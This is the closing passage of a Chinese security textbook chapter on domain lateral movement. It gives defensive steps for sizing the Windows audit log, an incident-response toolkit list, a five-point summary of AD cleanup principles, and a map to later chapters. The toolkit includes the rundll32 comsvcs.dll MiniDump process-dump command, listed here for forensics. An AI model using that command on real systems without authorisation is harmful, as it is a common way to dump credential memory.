# ④ 增大安全日志容量(★ 默认太小,几天就覆盖完)
wevtutil sl Security /ms:1073741824        # 1GB
wevtutil sl Security /rt:false             # 不自动覆盖(满了需要手动归档)

# ⑤ 验证
auditpol /get /category:*
wevtutil gl Security

清单 E:应急响应工具箱(平时就要备好)

┌─ 取证工具 ────────────────────────────────────────────┐
│ 内存 dump:                                            │
│   Windows: DumpIt.exe / comsvcs.dll MiniDump          │
│             (rundll32.exe C:\windows\system32\comsvcs.dll,│
│              MiniDump <PID> out.dmp full)              │
│   Linux:   LiME / AVML                                 │
│ 磁盘镜像:ftk imager / dd / dcfldd                     │
│ 内存分析:Volatility 3 / Rekall                        │
│ 日志分析:EvtxECmd + Timeline Explorer / chainsaw      │
│ 文件系统:                                             │
│   Amcache/Shimcache 解析:AmcacheParser / AppCompatCacheParser │
│   MFT 分析:MFTECmd                                    │
│   时间线生成:Plaso (log2timeline) / KAPE              │
└────────────────────────────────────────────────────────┘

┌─ 排查工具 ────────────────────────────────────────────┐
│ 进程/网络:Sysinternals 全套(procexp / procdump /     │
│            autoruns / tcpview / pslist / handle)      │
│ 持久化检查:                                           │
│   autoruns.exe(★ 最全面,能列出所有自启动项)         │
│   自制 PowerShell 脚本(见 6.5 节的 check_persistence.ps1)│
│ AD 检查:                                              │
│   BloodHound / SharpHound                              │
│   PingCastle(★ 一键出 AD 健康度报告,非常适合汇报)   │
│   Purple Knight(免费,检查 AD 的安全配置和 IOC)      │
│   ADRecon                                              │
│ 网络:                                                 │
│   Wireshark / tcpdump                                  │
│   Sysmon(Event 3 网络连接)                           │
└────────────────────────────────────────────────────────┘

┌─ 清理工具 ────────────────────────────────────────────┐
│ krbtgt 重置:Reset-KrbtgtKey.ps1(微软官方脚本)       │
│ AD 恢复:                                              │
│   ntdsutil(授权还原)                                 │
│   AD Recycle Bin(建议提前开启 ★)                     │
│ 密码批量重置:PowerShell + Set-ADAccountPassword       │
│ 机器账号重置:Reset-ComputerMachinePassword            │
└────────────────────────────────────────────────────────┘

⚠️ 重要:这些工具要【提前下载好放在应急 U 盘里】。
        事发时目标机器可能已经断网,你下载不了。

7.11.4 五句话记忆法

① 内网的假设不是防住,是已经被突破了 —— 防的是"他进来之后能走多远"

② 内网 90% 的攻击链都依赖"抓到高权限凭据"
   → 所以最有效的措施不是加固机器,是【控制高权限凭据出现在哪里】
   → 域管不登办公机,一条胜过十个设备

③ Hash 就是密码,票据就是身份
   → 改密码在内网里的作用远比想象中小
   → 正确顺序:先清后门断通道 → 再一次性重置 → 再全员改密码

④ AD 的后门会"自愈"
   → AdminSDHolder + SDProp 每 60 分钟推一次
   → 清理顺序必须是先模板后实例,反了就白干

⑤ 你永远无法 100% 确认清理干净了
   → 用蜜标兜底、用监控观察、把"重建"这个选项明确提给管理层
   → 诚实,是安全从业者最重要的品质

7.11.5 本章与其他章节的关系

                    ┌─────────────────────────────────────┐
                    │  第六章:主机与操作系统安全           │
                    │  (在【一台机器】上:提权、持久化)   │
                    └──────────────┬──────────────────────┘
                                   │ 拿到本机凭据
                                   ▼
        ┌──────────────────────────────────────────────────┐
        │  第七章:内网横向移动与域渗透(本章)              │
        │  (从【一台机器】到【整个域】)                   │
        │                                                   │
        │   信息收集 → 认证基础 → 凭据传递 → 票据攻击        │
        │   → 横向移动 → 隧道 → 域持久化                    │
        └──────┬─────────────────┬─────────────────┬───────┘
               │                 │                 │
               ▼                 ▼                 ▼
   ┌───────────────────┐ ┌──────────────┐ ┌──────────────────┐
   │ 第八章:DFIR       │ │ 第九章:     │ │ 第十章:         │
   │ (出事后怎么查)   │ │ 软件供应链   │ │ Serverless/云原生│
   │                   │ │ (另一条     │ │ (新的边界)     │
   │ 本章的"检测与防御" │ │  进入路径)  │ │                  │
   │ 就是第八章的"取证" │ │              │ │                  │
   └───────────────────┘ └──────────────┘ └──────────────────┘
               │
               ▼
   ┌───────────────────────────────────────────────────────┐
   │ 第十一章:Web3 与智能合约安全                          │
   │ 第十二章:数据合规(等保2.0 / 个保法 / GDPR)           │
   │   ★ 内网加固的很多要求,在等保 2.0 的"安全区域边界"、  │
   │     "安全计算环境"两个层面都有对应条款                 │
   │ 第十三章:综合实战题                                   │
   │ 第十四章:面试题总汇总                                 │
   └───────────────────────────────────────────────────────┘

本章知识的三个延伸方向

方向一:往"检测"走 → 第八章 DFIR
  本章讲了"事后看哪些日志"(4662/5136/4765/4741...)
  第八章讲的是"怎么系统性地取证、怎么建时间线、怎么保存证据链"

方向二:往"边界"走 → 第十章 云原生
  传统内网的边界是网段和 VLAN
  云上内网的边界是 VPC、安全组、IAM 角色、K8s RBAC
  ★ 有意思的是:云的很多问题是传统内网的"翻版"——
    - IAM 角色的过度授权 ≈ AD 的过度 ACL
    - 实例元数据服务(IMDS)凭据 ≈ 本机 LSASS 凭据
    - 云原生提权链 ≈ BloodHound 的攻击路径

方向三:往"合规"走 → 第十二章 数据合规
  等保 2.0 里"安全区域边界"要求网络分段和访问控制
  "安全计算环境"要求身份鉴别和访问控制
  ★ 本章的分层管理、LAPS、日志审计,都能对应到具体条款
  → 这可以成为推动内网加固的【外部驱动力】
     ("合规检查要过,这些必须做",比"安全建议"更有推动力)

本章到此结束。下一章进入数字取证与应急响应(DFIR)——把本章“检测与防御”里提到的那些日志,变成一套完整的取证方法论。